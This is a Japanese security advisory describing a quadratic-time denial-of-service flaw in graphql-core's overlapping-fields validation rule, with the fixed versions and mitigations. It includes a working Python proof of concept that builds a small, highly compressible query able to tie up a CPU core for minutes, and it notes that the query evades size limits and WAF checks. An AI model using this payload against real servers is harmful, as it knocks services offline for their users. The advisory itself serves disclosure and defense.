GraphQL-core: `OverlappingFieldsCanBeMerged`の検証ルールにおける、二乗複雑性によるサービス拒否の脆弱性
### 概要
`OverlappingFieldsCanBeMerged`の検証ルールは、小さな、高圧縮性のクエリによって、二乗（最悪の場合`O(n²·m²)`）の実行時間になる可能性があります。
364 KBの単一のドキュメントが、リゾルバーが実行される前に、一つのCPUコアを5分以上占有する可能性があります。
このルールは`specified_rules`の一部であり、デフォルトで有効になっているため、GraphQL-coreをベースとしたすべてのサーバーが、デフォルト設定で影響を受けます。
### 詳細
`OverlappingFieldsCanBeMerged`は、応答名が共通するすべてのフィールドのペアを比較し、それらのサブセレクションに再帰的に処理を行います。
CVE-2023-26144（`GHSA-9pv7-vfvm-6vr7`）のために追加されたメモ化は、**名前付きフラグメント**のIDに基づいて行われるため、このパスはカバーされていません。
インラインフラグメントは、キャッシュが参照される前に、親のセレクションセットに展開されるため、すべてのペアが、すべてのネストレベルで最初から再比較されます。
同じ応答名を選択するインラインフラグメントを、2つのネストレベルで繰り返すと、その影響が2倍になります。
比較の制限や検証のタイムアウトはなく、そのため、このルールはコストに関わらず最後まで実行されます。
このコストは、検証フェーズで発生するため、ライブラリの外から防御することが困難です。
クエリの深さ制限、複雑度分析器、コスト推定器は、すべて検証後に解析されたドキュメントに対して動作します。
悪意のあるドキュメントは、非常に浅い構造（深さ3、複雑度1）であり、ペイロードは短い文字列が何度も繰り返されているため、数キロバイトに圧縮され、ボディサイズの制限や、圧縮されたリクエストしか見えないWAFの検査を回避できます。
### 実証コード
```python
import time
from graphql import build_schema, parse, validate
schema = build_schema(
"type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)
```
```
def gen(n: int, m: int) -> str:
inner = " ".join(["... on Node { x }"] * m)
outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
return f"{{ field {{ {outer} }} }}"
query = gen(200, 100) # 364 KB、gzip圧縮すると数KBになる
document = parse(query)
start = time.perf_counter()
validate(schema, document) # エラーは返さないが、CPUを消費する
print(f"{(time.perf_counter() - start):.0f}s")
```
GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64 で測定:
| n | m | クエリサイズ | 検証時間 |
|---|---|---|---|
| 20 | 20 | 7.6 KB | 0.16 秒 |
| 50 | 50 | 46 KB | 5.2 秒 |
| 100 | 100 | 182 KB | 81 秒 |
| 200 | 100 | 364 KB | **319 秒** |
`n` を 2 倍にすると、`m` が固定の場合、検証時間は予想通り 4 倍になる（これは、二乗のオーダーの外部ループと、二乗のオーダーの内部処理による）。
### 影響
サービス拒否攻撃（DoS）。1 つのリクエストが、ワーカープロセスを数分間停止させる。CPython
は、この CPU 負荷の高い処理において GIL（グローバルインタプリタロック）を保持するため、
少数の同時リクエストで、一般的なマルチワーカー環境が飽和状態になる可能性がある。認証は不要であり、
データは開示も変更もされない。
### 修正
**3.2.12** および **3.3.0rc1** で修正された。
検証処理では、ドキュメントごとの比較回数に制限が設けられた。
`MAX_FIELD_COMPARISONS`（デフォルト値は `250_000`）のペアワイズ比較回数に達すると、
処理は中断され、完了する代わりに `GraphQLError` が報告される。
> クエリが複雑すぎて、重複フィールドの検証ができません。250000 回のフィールド比較を超えました。検証は中断されました。
デフォルト値は、現実的なクエリでは到達しないほど高い値に設定されている。これは、モジュールレベルの定数であり、値を大きくしたり小さくしたりすることができる。
```python
from graphql.validation.rules import overlapping_fields_can_be_merged
overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000
```
注意：この変更により、以前は（ゆっくりとではあるが）検証が完了していた、
問題のあるクエリが、検証エラーを発生するようになった。
### 対策
```
アップグレードできない場合は、`validate()` に到達する前に、サイズが大きすぎるドキュメントを拒否してください。
注意点として、ペイロードは非常に圧縮可能であるため、この効果を得るためには、**圧縮された**ボディにリクエストボディサイズの制限を適用する必要があります。
`OverlappingFieldsCanBeMergedRule` をルールセットから削除することは、安全な回避策ではありません。これは、仕様で要求されている正確性のためのルールです。
アップグレード後も、ボディサイズの制限は有効です。この制限は、この特定のルールに関連する予算であり、全体の要求コストとは異なります。
### 貢献者
@BZHunt 氏が問題を報告し、リリース前に修正内容をレビューしました。この発見の原動力となった ZaX 氏を偲んで。
@bcmyguest 氏が独自に問題を特定し、診断し、修正案を提案しました。
影響を受けるパッケージ：
- pip (Python) graphql-core: 影響を受けるバージョン >= 3.0.0, < 3.2.12、修正されたバージョン 3.2.12
- pip (Python) graphql-core: 影響を受けるバージョン >= 3.3.0a1, < 3.3.0rc1、修正されたバージョン 3.3.0rc1